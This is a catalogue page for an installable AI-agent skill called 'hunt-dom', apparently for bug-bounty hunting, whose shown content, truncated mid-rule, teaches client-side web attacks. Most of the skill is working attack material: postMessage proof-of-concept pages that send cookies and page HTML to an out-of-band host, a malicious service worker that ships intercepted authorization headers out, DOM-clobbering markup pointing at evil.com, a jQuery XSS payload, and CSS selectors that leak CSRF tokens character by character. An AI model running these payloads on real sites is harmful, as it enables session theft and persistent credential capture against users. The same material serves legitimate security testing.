hunt-dom
Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side…
Install / Use
npx skills add elementalsouls/Claude-BugHunter --skill hunt-domInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Tags
Our assessment of hunt-dom
hunt-dom scores 96/100 on our quality scale, 141st of 772 Security skills we index (top 19%).
Its SKILL.md is 17 KB long, well organised into 60 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.
With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 2 days ago, so hunt-dom is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
hunt-dom compared with similar skills
All 4 of these similar skills score higher than hunt-dom; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-dom (this skill)by elementalsouls | 96 | 4.7k | 2d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 5d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 5d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 7d ago | SKILL.md |
| ui-ux-pro-maxby nextlevelbuilder | 100 | 130.2k | 7d ago | SKILL.md |
Frequently asked questions
- How do I install hunt-dom?
- Run
npx skills add elementalsouls/Claude-BugHunter --skill hunt-dom. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-dom work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-dom safe to use?
- It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-dom still maintained?
- The repository was last updated 2 days ago, so hunt-dom is actively maintained.
Skill content
View source on GitHubname: hunt-dom description: "Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template injection, dangerouslySetInnerHTML. Grounded in named public research: Gareth Heyes / PortSwigger DOM-clobbering + DOM-Invader, Michał Bentkowski DOMPurify clobbering bypasses, jQuery htmlPrefilter XSS (CVE-2020-11022 / CVE-2020-11023), d0nut CSS-exfil research. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction." sources: portswigger_research, hackerone_public, github_security_advisories report_count: 14
HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
Crown Jewel Targets
DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
Highest-value chains:
- DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no
<script>) overwrites a JS global likewindow.configor shadowsdocument.getElementById, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. - PostMessage no origin check → session theft / DOM-XSS — a
messagehandler that trustsevent.datawithout validatingevent.originlets an attacker iframe/opener drive privileged actions or feed a sink. - Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope
fetch→ persistent credential capture. - CSS Exfil — attribute-value selectors (
input[value^="a"]) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
Grounding — public research this is distilled from
- DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
- DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
- jQuery
htmlPrefilterself-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to.html()/.append()mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. - CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential
@importrecursion to drop the per-char-position constraint).
Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.
Attack Surface Signals
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
Phase 1 — DOM Clobbering
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
jQuery angle: if the bundle ships jQuery < 3.5.0, attacker HTML passed to .html()/.append() self-mutates to execute (CVE-2020-11022 / CVE-2020-11023). Confirm version then test <style><style /><img src=x onerror=alert(document.domain)>.
Phase 2 — PostMessage Hijacking
Two bug classes: (a) listener trusts cross-origin data → drive a sink/privileged action; (b) sender broadcasts secrets with target origin '*' → any framing page reads them.
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// Shape the payload to whatever the handler routes into a sink:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>
<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// Only count it if e.origin is the TARGET and data carries a secret
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>
False-positive guard: a handler with a partial check (
origin.indexOf('target.com')>-1,endsWith('target.com'), regextarget\.com) is still vulnerable — bypass withtarget.com.evil.comoreviltarget.com. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
PostMessage handler race — win the message before origin is set
Beyond static origin/sender checks: some handlers trust the FIRST message, or read event.origin while it is still ""/null during frame load. Race it — flood postMessage in a tight loop during iframe/popup load, or fire from about:blank before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356.
Phase 3 — Service Worker Abuse
Hard rule (corrects a common mistake): a SW script URL must be same-origin as the page calling register(). A cross-origin script URL (https://evil.com/sw.js) throws SecurityError — there is no header that enables cross-origin SW script registration. Service-Worker-Allowed only widens the scope a same-origin script may control, not where the script may live.
So the realistic path is: get a SW script onto the target origin (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with text/javascript, or an existing route under your control), then register it from same-origin XSS.
# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
# curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
.catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// Exfil URL + any auth header the page attaches, to OOB
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});
Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.
Phase 4 — CSS Injection / Exfiltration
# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
Scope caveat (corrects an overstatement): CSS exfil bypasses CSP that blocks script execution — it does not bypass a CSP whose
style-src/img-src/default-src/connect-srcrestricts external origins, orform-action. Ifimg-src 'self'is set,url(https://OOB/...)is blocked. Always read the liveContent-Security-Policyheader first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c
Truncated for display — read the full file on GitHub.
Related Skills
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
ui-ux-pro-max
130.2kUI/UX design intelligence for web, mobile, and desktop. This skill should be used when designing, building, reviewing, or fixing interfaces, including pages, components, design systems, accessibility, interaction, responsive layout, typography, color, charts, and stack-specific UI implementation.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
